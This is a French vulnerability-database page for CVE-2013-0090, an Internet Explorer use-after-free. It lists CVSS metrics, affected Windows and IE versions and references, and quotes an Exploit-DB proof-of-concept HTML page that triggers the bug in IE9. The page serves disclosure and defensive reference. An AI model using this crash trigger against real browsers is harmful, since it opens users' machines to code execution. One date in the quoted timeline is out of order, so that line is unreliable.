CVE-2013-0090 : Détail

CVE-2013-0090

8.8
/
Haute
81.59%V3
Network
2013-03-12
23h00 +00:00
2025-01-16
20h37 +00:00
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Descriptions du CVE

Use-after-free vulnerability in Microsoft Internet Explorer 6 through 10 allows remote attackers to execute arbitrary code via a crafted web site that triggers access to a deleted object, aka "Internet Explorer CCaret Use After Free Vulnerability."

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-399 Category : Resource Management Errors
Weaknesses in this category are related to improper management of system resources.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

134c704f-9b21-4f2e-91b3-4a467353bcc0
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 40935

Date de publication : 2016-12-15 23h00 +00:00
Auteur : Skylined
EDB Vérifié : Yes

<!-- Source: http://blog.skylined.nl/20161216001.html Synopsis A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability. Known affected software and attack vectors Microsoft Internet Explorer 9 An attacker would need to get a target user to open a specially crafted web-page. Disabling Java­Script should prevent an attacker from triggering the vulnerable code path. Details This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. ZDI revealed that this was a use-after-free vulnerability in their advisory. I have included a number of reports created using a predecessor of Bug­Id below. Repro.html: --> <!DOCTYPE html> <html> <head> <script defer> var o­Element = document.get­Element­By­Id("ruby"); var o­Element = o­Element.parent­Node.remove­Child(o­Element); document.write("<abbr></abbr>"); document.document­Element.offset­Top; set­Timeout("location.reload()", 100); </script> </head> <body> <abbr dir="ltr"> <ruby id="ruby" dir="rtl"> </ruby> </abbr> </body> </html> <!-- Time-line Sometime in October 2012: This vulnerability was found through fuzzing. 29 October 2012: This vulnerability was submitted to EIP. 27 November 2013: This vulnerability was rejected by EIP. 14 January 2013: This vulnerability was submitted to ZDI. 6 February 2013: This vulnerability was acquired by ZDI. 13 February 2013: This vulnerability was disclosed to Microsoft by ZDI. 29 May 2013: This vulnerability was address by Microsoft in MS13-021. 16 December 2016: Details of this vulnerability are released. -->

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 6

Microsoft>>Windows_server_2003 >> Version *

Microsoft>>Windows_xp >> Version *

    Microsoft>>Windows_xp >> Version *

    Configuraton 0

    Microsoft>>Internet_explorer >> Version 7

    Microsoft>>Windows_server_2003 >> Version *

    Microsoft>>Windows_server_2008 >> Version *

    Microsoft>>Windows_server_2008 >> Version *

    Microsoft>>Windows_server_2008 >> Version *

    Microsoft>>Windows_vista >> Version *

    Microsoft>>Windows_vista >> Version -

    Microsoft>>Windows_xp >> Version *

      Microsoft>>Windows_xp >> Version *

      Configuraton 0

      Microsoft>>Internet_explorer >> Version 8

      Microsoft>>Windows_7 >> Version -

      Microsoft>>Windows_7 >> Version -

      Microsoft>>Windows_7 >> Version -

      Microsoft>>Windows_server_2003 >> Version *

      Microsoft>>Windows_server_2008 >> Version *

      Microsoft>>Windows_server_2008 >> Version *

      Microsoft>>Windows_server_2008 >> Version *

      Microsoft>>Windows_server_2008 >> Version *

      Microsoft>>Windows_vista >> Version *

      Microsoft>>Windows_vista >> Version -

      Microsoft>>Windows_xp >> Version *

        Microsoft>>Windows_xp >> Version *

        Configuraton 0

        Microsoft>>Internet_explorer >> Version 9

        Microsoft>>Windows_7 >> Version -

        Microsoft>>Windows_7 >> Version -

        Microsoft>>Windows_7 >> Version -

        Microsoft>>Windows_server_2008 >> Version *

        Microsoft>>Windows_server_2008 >> Version *

        Microsoft>>Windows_server_2008 >> Version *

        Microsoft>>Windows_vista >> Version *

        Microsoft>>Windows_vista >> Version -

        Configuraton 0

        Microsoft>>Internet_explorer >> Version 10

        Microsoft>>Windows_8 >> Version -

        Microsoft>>Windows_8 >> Version -

        Microsoft>>Windows_rt >> Version -

        Microsoft>>Windows_server_2012 >> Version -

        Références

        https://www.exploit-db.com/exploits/40935/
        Tags : exploit, x_refsource_EXPLOIT-DB
        http://www.us-cert.gov/ncas/alerts/TA13-071A
        Tags : third-party-advisory, x_refsource_CERT